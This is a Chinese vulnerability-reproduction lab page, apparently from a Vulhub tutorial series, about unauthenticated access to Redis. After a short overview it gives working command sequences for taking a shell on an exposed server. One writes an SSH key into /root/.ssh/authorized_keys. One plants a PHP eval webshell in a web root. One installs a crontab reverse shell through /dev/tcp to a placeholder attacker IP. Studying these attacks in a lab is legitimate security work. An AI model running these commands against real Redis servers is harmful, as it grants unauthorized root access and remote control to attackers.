漏洞复现
Vulhub-漏洞环境搭建
1panel
Bash
Tomcat
Siro框架漏洞
Apache Struts2
Apache 中间件
ThinkPHP框架漏洞
MySQL写入shell
Redis
MySQL提权
Fastjson反序列化漏洞
Spring
Jenkins
WebLogic
-
+
首页
Redis
 ## 概述 Redis 是一款开源的高性能内存数据库,全称为 Remote Dictionary Server(远程字典服务),核心特点是 “数据存于内存、支持多数据结构、可持久化”,广泛用于缓存、会话存储、分布式锁、消息队列等场景。 传统数据库(如 MySQL)数据存于磁盘,读写速度较慢(毫秒级),无法满足高并发场景(如秒杀、直播弹幕)。 Redis 则通过 “内存存储” 实现微秒级读写,同时支持数据持久化(避免内存数据丢失),完美解决 “高性能” 与 “数据安全” 的平衡问题,典型用途包括: - 减轻数据库压力:将高频访问数据(如电商商品详情、用户登录状态)缓存到 Redis,减少 MySQL 查询次数; - 实现分布式锁:在微服务架构中,通过 Redis 的 SET NX 命令实现跨服务的并发控制(如防止超卖); - 存储临时数据:会话(Session)、验证码、排行榜等短期有效数据,用 Redis 比数据库更高效。 ## 未授权访问 ### 漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。 未授权 连接命令: ```bash redis-cli -h your_host -p 6379 -a "pass" --raw # -h:远程连接的主机 # -p: 远程连接的端口 # -a: 密码 # --raw:解决中文乱码 ``` ### 漏洞版本 Redis 2.x、3.x、4.x、5.x ### 漏洞复现 1、启动容器:  2、尝试使用未授权进行连接:  3、基本信息查询:  4、向tmp目录下写入文件:   值得注意的是:通过 Redis 的`CONFIG SET+SAVE`写入的文件本质是 RDB 持久化文件,而非普通文本文件,因此包含额外的元数据和二进制内容。 ## 未授权 Redis 拿 shell 的 3 种方式 ```txt 1.通过写 SSH key 2.通过向 Web 目录中写入 webshell 3.通过写 crontab 计划任务 ``` ### 写入公私密钥 kali中生成公钥: ```bash // 生成公私钥 ssh-keygen -t rsa // 防止乱码,导出key (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt // 导入内容 cat key.txt| redis-cli -h 192.168.253.135 -x set putsshkey # -x:从标准输入中读取值,将key.txt的内容作为值,存入 Redis 的putsshkey键中 ``` redis中将公钥进行保存: ```bash // 设置路径 config set dir /root/.ssh // 设置文件名 config set dbfilename authorized_keys // 保存key值到root文件中 save # save:触发 Redis 持久化,将内存中的键值对(包括putsshkey对应的公钥内容)写入/root/.ssh/authorized_keys文件。 ``` kali使用私钥进行链接: ```bash ssh -i id_rsa root@192.168.253.135 ``` ### 写入webshell ```txt config set dir /www/admin/localhost_80/wwwroot config set dbfilename webshell.php set x '\n\n<?php @eval($_GET["cmd"]);phpinfo();?>\n\n' save 蚁剑连接 ``` ### 写入 crontab 定时任务 ```bash redis-cli -h 目标IP config set dir /etc/cron.d/ # 设置目录为系统级crontab目录(或/var/spool/cron/) config set dbfilename redis-cron # 自定义任务文件名(如redis-cron) set x "* * * * * root bash -i >& /dev/tcp/攻击IP/8888 0>&1\n" # 写入任务内容(注意换行符) save # 保存到文件 ```
毛林
2025年11月1日 14:13
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码